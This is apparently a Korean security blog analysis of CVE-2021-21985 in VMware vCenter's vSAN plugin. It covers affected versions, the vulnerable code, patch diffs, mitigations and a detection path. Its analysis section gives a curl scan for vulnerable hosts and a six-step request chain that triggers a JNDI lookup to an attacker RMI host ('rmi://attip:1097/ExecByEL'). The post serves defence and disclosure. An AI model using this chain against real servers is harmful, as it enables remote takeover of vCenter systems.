1. vCenter Server

- VM웨어는 클라우드 서비스 플랫폼을 구축하기 위하여 vSphere 솔루션을 공급

- vSphere : 가상화를 활용하여 데이터센터를 단순화된 클라우드 컴퓨팅 인프라로 전환하여 IT 조직에서 유연하고 안정적인 서비스를 제공하기 위한 목적으로 사용

- 이러한 환경을 중앙에서 편리에서 관리할 수 있도록 vCenter Server를 제공

- vCenter Server : 다중 호스트의 리소스를 관리할 수 있으며, 물리 및 가상 인프라를 중앙에서 모니터링하고 관리

 

2. 취약점

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2021-21985

- vCenter Server에서 제공되는 Virtual SAN 상태 점검 플러그인(vSAN 플러그인)의 입력 유효성 검사 부족으로 인한 원격 코드 실행 취약성

- 해당 취약점을 Exploit에 성공할 경우 서버 전체를 장악 가능함

① 영향받는 버전
- VMware vCenter Server 버전 6.5, 6.7 및 7.0
- Cloud Foundation(vCenter Server) 버전 3.x ~ 4.x

② 조건
443 Port에 대한 네트워크 엑세스 권한 有

 

2.1 분석

- vSAN 플러그인은 사용 유무에 관계 없이 모든 vCenter Server 배포시 기본 활성화

- invokeServiceWithJson() 메서드에서 사용자 요청값에대한 입력값에 대한 검증 없이 추출 후 매개변수로 사용

※ 경로 : src/h5-vsan-service.jar/com/vmware/vsan/client/services/ProxygenController.java

[사진 2] src/h5-vsan-service.jar/com/vmware/vsan/client/services/ProxygenController.java

 

- 먼저 공격자는 취약점이 존재하는 인터넷에 노출된 VMware vCenter 장치를 쇼단 또는 curl 명령 등을 통해 찾음

- 아래 curl 명령을 사용할 경우 응답값 내에서 {“result”:{“isDisconnected”: 를 찾음 (취약한 경우 false 반환)

curl -k -X POST -H 'Content-Type: application/json' -d '{"methodInput":[{"type":"ClusterComputeResource","value": null,"serverGuid": null}]}' 'https://<target>/ui/h5-vsan/rest/proxy/service/com.vmware.vsan.client.services.capability.VsanCapabilityProvider/getClusterCapabilityData'

[사진 3] shodan 검색 화면

 

- 이후 공격자는 다음의 명령을 순차적으로 수행해 Exploit을 수행함

Step1
https://host/ui/h5-vsan/rest/proxy/service/&vsanQueryUtil_setDataService/setTargetObject
{"methodInput":[null]}

Step2
https://host/ui/h5-vsan/rest/proxy/service/&vsanQueryUtil_setDataService/setStaticMethod
{"methodInput":["javax.naming.InitialContext.doLookup"]}

Step3
https://host/ui/h5-vsan/rest/proxy/service/&vsanQueryUtil_setDataService/setTargetMethod
{"methodInput":["doLookup"]}

Step4 
https://host/ui/h5-vsan/rest/proxy/service/&vsanQueryUtil_setDataService/setArguments
{"methodInput":[["rmi://attip:1097/ExecByEL"]]}

Step5
https://host/ui/h5-vsan/rest/proxy/service/&vsanQueryUtil_setDataService/prepare
{"methodInput":[]}

Step6
https://host/ui/h5-vsan/rest/proxy/service/&vsanQueryUtil_setDataService/invoke
{"methodInput":[]}

 

3. 대응방안

3.1 서버측면

① 벤더사에서 제공하는 보안 패치 적용

제품 플랫폼 영향받는 버전 최신 버전
vCenter Server 모든 플랫폼 6.5 6.5 U3p
6.7 6.7 U3n
7.0 7.0 U2b
Cloud Foundation 3.x 3.10.2.1
4.x 4.2.1

 

- Virtual SAN 상태 점검 플러그인의 /rest/* 끝점에 인증을 추가

--- a/unpatched/src/h5-vsan-context.jar/WEB-INF/web.xml
+++ b/patched/src/h5-vsan-context.jar/WEB-INF/web.xml
@@ -5,6 +5,21 @@

    <display-name>h5-vsan-service</display-name>

+   <context-param>
+      <param-name>contextConfigLocation</param-name>
+      <param-value>/WEB-INF/spring/bundle-context.xml</param-value>
+   </context-param>
+
+   <!-- The application context needs to be OSGI-enabled in order to look up services -->
+   <context-param>
+      <param-name>contextClass</param-name>
+      <param-value>org.eclipse.virgo.web.dm.ServerOsgiBundleXmlWebApplicationContext</param-value>
+   </context-param>
+
+   <listener>
+      <listener-class>org.springframework.web.context.ContextLoaderListener</listener-class>
+   </listener>
+
    <!-- Processes application requests -->
    <servlet>
       <servlet-name>springServlet</servlet-name>
@@ -12,7 +27,7 @@

       <init-param>
          <param-name>contextConfigLocation</param-name>
-         <param-value>/WEB-INF/spring/bundle-context.xml</param-value>
+         <param-value>/WEB-INF/spring/empy-context.xml</param-value>
       </init-param>

       <!-- The application context needs to be OSGI-enabled in order to look up services -->
@@ -40,4 +55,14 @@
       <url-pattern>/*</url-pattern>
    </filter-mapping>

+   <filter>
+      <filter-name>authenticationFilter</filter-name>
+      <filter-class>com.vmware.vsan.client.services.AuthenticationFilter</filter-class>
+   </filter>
+
+   <filter-mapping>
+      <filter-name>authenticationFilter</filter-name>
+      <url-pattern>/rest/*</url-pattern>
+   </filter-mapping>
+
 </web-app>
package com.vmware.vsan.client.services;

import com.vmware.vise.usersession.UserSessionService;
import java.io.IOException;
import javax.servlet.Filter;
import javax.servlet.FilterChain;
import javax.servlet.FilterConfig;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.beans.factory.config.AutowireCapableBeanFactory;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.support.WebApplicationContextUtils;

public class AuthenticationFilter implements Filter {
  private static final Logger logger = LoggerFactory.getLogger(AuthenticationFilter.class);

  @Autowired
  private UserSessionService userSessionService;

  public void init(FilterConfig filterConfig) {
    WebApplicationContext context = WebApplicationContextUtils.getWebApplicationContext(filterConfig.getServletContext());
    AutowireCapableBeanFactory factory = context.getAutowireCapableBeanFactory();
    factory.autowireBean(this);
  }

  public void doFilter(ServletRequest request, ServletResponse response, FilterChain filterChain) throws IOException, ServletException {
    if (this.userSessionService.getUserSession() == null) {
      HttpServletRequest httpRequest = (HttpServletRequest)request;
      HttpServletResponse httpResponse = (HttpServletResponse)response;
      logger.warn(String.format("Null session detected for a %s request to %s", new Object[] { httpRequest.getMethod(), httpRequest.getRequestURL() }));
      httpResponse.setStatus(401);
      return;
    }
    filterChain.doFilter(request, response);
  }

  public void destroy() {}
}

 

- 입력 유효성 검사가 com.vmware.vsan.client.services.ProxygenController 클래스에 추가

--- a/unpatched/src/h5-vsan-service.jar/com/vmware/vsan/client/services/ProxygenController.java
+++ b/patched/src/h5-vsan-service.jar/com/vmware/vsan/client/services/ProxygenController.java
@@ -1,151 +1,152 @@
 package com.vmware.vsan.client.services;

 import com.google.common.collect.ImmutableMap;
 import com.google.gson.Gson;
+import com.vmware.proxygen.ts.TsService;
 import com.vmware.vim.binding.vmodl.LocalizableMessage;
 import com.vmware.vim.binding.vmodl.MethodFault;
 import com.vmware.vim.binding.vmodl.RuntimeFault;
 import com.vmware.vsphere.client.vsan.util.MessageBundle;
 import java.lang.reflect.InvocationTargetException;
 import java.lang.reflect.Method;
 import java.util.HashMap;
 import java.util.List;
 import java.util.Map;
 import org.apache.commons.lang.StringUtils;
 import org.slf4j.Logger;
 import org.slf4j.LoggerFactory;
 import org.springframework.beans.BeansException;
 import org.springframework.beans.factory.BeanFactory;
 import org.springframework.beans.factory.annotation.Autowired;
 import org.springframework.stereotype.Controller;
 import org.springframework.web.bind.annotation.PathVariable;
 import org.springframework.web.bind.annotation.RequestBody;
 import org.springframework.web.bind.annotation.RequestMapping;
 import org.springframework.web.bind.annotation.RequestMethod;
 import org.springframework.web.bind.annotation.RequestParam;
 import org.springframework.web.bind.annotation.ResponseBody;
 import org.springframework.web.multipart.MultipartFile;

 @Controller
 @RequestMapping({"/proxy"})
 public class ProxygenController extends RestControllerBase {
   private static final Logger logger = LoggerFactory.getLogger(ProxygenController.class);

   @Autowired
   private BeanFactory beanFactory;

   @Autowired
   private MessageBundle messages;

   @RequestMapping(value = {"/service/{beanIdOrClassName}/{methodName}"}, method = {RequestMethod.POST}, consumes = {"application/json"}, produces = {"application/json"})
   @ResponseBody
   public Object invokeServiceWithJson(@PathVariable("beanIdOrClassName") String beanIdOrClassName, @PathVariable("methodName") String methodName, @RequestBody Map<String, Object> body) throws Exception {
     List<Object> rawData = null;
     try {
       rawData = (List<Object>)body.get("methodInput");
     } catch (Exception e) {
       logger.error("service method failed to extract input data", e);
       return handleException(e);
     }
     return invokeService(beanIdOrClassName, methodName, null, rawData);
   }

   @RequestMapping(value = {"/service/{beanIdOrClassName}/{methodName}"}, method = {RequestMethod.POST}, consumes = {"multipart/form-data"}, produces = {"application/json"})
   @ResponseBody
   public Object invokeServiceWithMultipartFormData(@PathVariable("beanIdOrClassName") String beanIdOrClassName, @PathVariable("methodName") String methodName, @RequestParam("file") MultipartFile[] files, @RequestParam("methodInput") String rawData) throws Exception {
     List<Object> data = null;
     try {
       Gson gson = new Gson();
       data = (List<Object>)gson.fromJson(rawData, List.class);
     } catch (Exception e) {
       logger.error("service method failed to extract input data", e);
       return handleException(e);
     }
     return invokeService(beanIdOrClassName, methodName, files, data);
   }

   private Object invokeService(String beanIdOrClassName, String methodName, MultipartFile[] files, List<Object> data) throws Exception {
     try {
       Object bean = null;
       String beanName = null;
       Class<?> beanClass = null;
       try {
         beanClass = Class.forName(beanIdOrClassName);
         beanName = StringUtils.uncapitalize(beanClass.getSimpleName());
       } catch (ClassNotFoundException classNotFoundException) {
         beanName = beanIdOrClassName;
       }
       try {
         bean = this.beanFactory.getBean(beanName);
       } catch (BeansException beansException) {
         bean = this.beanFactory.getBean(beanClass);
       }
       byte b;
       int i;
       Method[] arrayOfMethod;
       for (i = (arrayOfMethod = bean.getClass().getMethods()).length, b = 0; b < i; ) {
         Method method = arrayOfMethod[b];
-        if (!method.getName().equals(methodName)) {
+        if (!method.getName().equals(methodName) || !method.isAnnotationPresent((Class)TsService.class)) {
           b++;
           continue;
         }
         ProxygenSerializer serializer = new ProxygenSerializer();
         Object[] methodInput = serializer.deserializeMethodInput(data, files, method);
         Object result = method.invoke(bean, methodInput);
         Map<String, Object> map = new HashMap<>();
         map.put("result", serializer.serialize(result));
         return map;
       }
     } catch (Exception e) {
       logger.error("service method failed to invoke", e);
       return handleException(e);
     }
     logger.error("service method not found: " + methodName + " @ " + beanIdOrClassName);
     return handleException(null);
   }

   private Object handleException(Throwable t) {
     if (t instanceof InvocationTargetException)
       return handleException(((InvocationTargetException)t).getTargetException());
     if (t instanceof java.util.concurrent.ExecutionException && t.getCause() != t)
       return handleException(t.getCause());
     if (t instanceof com.vmware.vise.data.query.DataException && t.getCause() != t)
       return handleException(t.getCause());
     if (t instanceof com.vmware.vim.vmomi.client.common.UnexpectedStatusCodeException)
       return ImmutableMap.of("error", this.messages.string("util.dataservice.notRespondingFault"));
     if (t instanceof VsanUiLocalizableException) {
       VsanUiLocalizableException localizableException = (VsanUiLocalizableException)t;
       return ImmutableMap.of("error", this.messages.string(
             localizableException.getErrorKey(), localizableException.getParams()));
     }
     LocalizableMessage[] faultMessage = null;
     String vmodlMessage = null;
     if (t instanceof MethodFault) {
       faultMessage = ((MethodFault)t).getFaultMessage();
       vmodlMessage = ((MethodFault)t).getMessage();
     } else if (t instanceof RuntimeFault) {
       faultMessage = ((RuntimeFault)t).getFaultMessage();
       vmodlMessage = ((RuntimeFault)t).getMessage();
     }
     if (faultMessage != null) {
       byte b;
       int i;
       LocalizableMessage[] arrayOfLocalizableMessage;
       for (i = (arrayOfLocalizableMessage = faultMessage).length, b = 0; b < i; ) {
         LocalizableMessage localizable = arrayOfLocalizableMessage[b];
         if (localizable.getMessage() != null && !localizable.getMessage().isEmpty())
           return ImmutableMap.of("error", localizeFault(localizable.getMessage()));
         if (localizable.getKey() != null && !localizable.getKey().isEmpty())
           return ImmutableMap.of("error", localizeFault(localizable.getKey()));
         b++;
       }
     }
     if (StringUtils.isNotBlank(vmodlMessage))
       return ImmutableMap.of("error", vmodlMessage);
     return ImmutableMap.of("error", this.messages.string("vsan.common.generic.error"));
   }

   private String localizeFault(String key) {
     return key;
   }
 }

 

② 보안 패치가 불가할 경우 해당 플러그인을 "호환되지 않음"으로 설정

- UI 내에서 플러그인을 비활성화하여도 공격을 방지하지 않음

- VCHA(vCenter High Availability)를 실행하는 환경의 활성 노드와 수동 노드 모두에서 적용되어야 함

 

VMware Knowledge Base

 

kb.vmware.com

 

※ vCenter Server는 여러 조직과 서비스들이 함께 사용하는 복잡한 운영 환경으로 인해 패치 적용이 어려운 상황

 

3.2 네트워크 측면

① 공격 시도를 탐지할 수 있는 정책 설정 및 적용

- /ui/h5-vsan/rest/*

 

4. 참고

https://nvd.nist.gov/vuln/detail/CVE-2021-21985

- https://www.krcert.or.kr/data/secNoticeView.do?bulletin_writing_sequence=36052

https://www.vmware.com/security/advisories/VMSA-2021-0010.html

https://pentest-tools.com/blog/exploit-vmware-vcenter-rce-cve-2021-21985

https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/vmware_vcenter_vsan_health_rce.rb

https://blog.alyac.co.kr/3797

- https://cert.360.cn/report/detail?id=931e631529a7025cdd60e60819e4a601

https://github.com/xnianq/cve-2021-21985_exp

https://www.programmersought.com/article/22519046437/

- https://attackerkb.com/topics/X85GKjaVER/cve-2021-21985/rapid7-analysis?referrer=home

https://iswin.org/2021/06/02/Vcenter-Server-CVE-2021-21985-RCE-PAYLOAD/

- https://kb.vmware.com/s/article/83829

- https://www.kisa.or.kr/20205/form?postSeq=1016&page=1 

+ Recent posts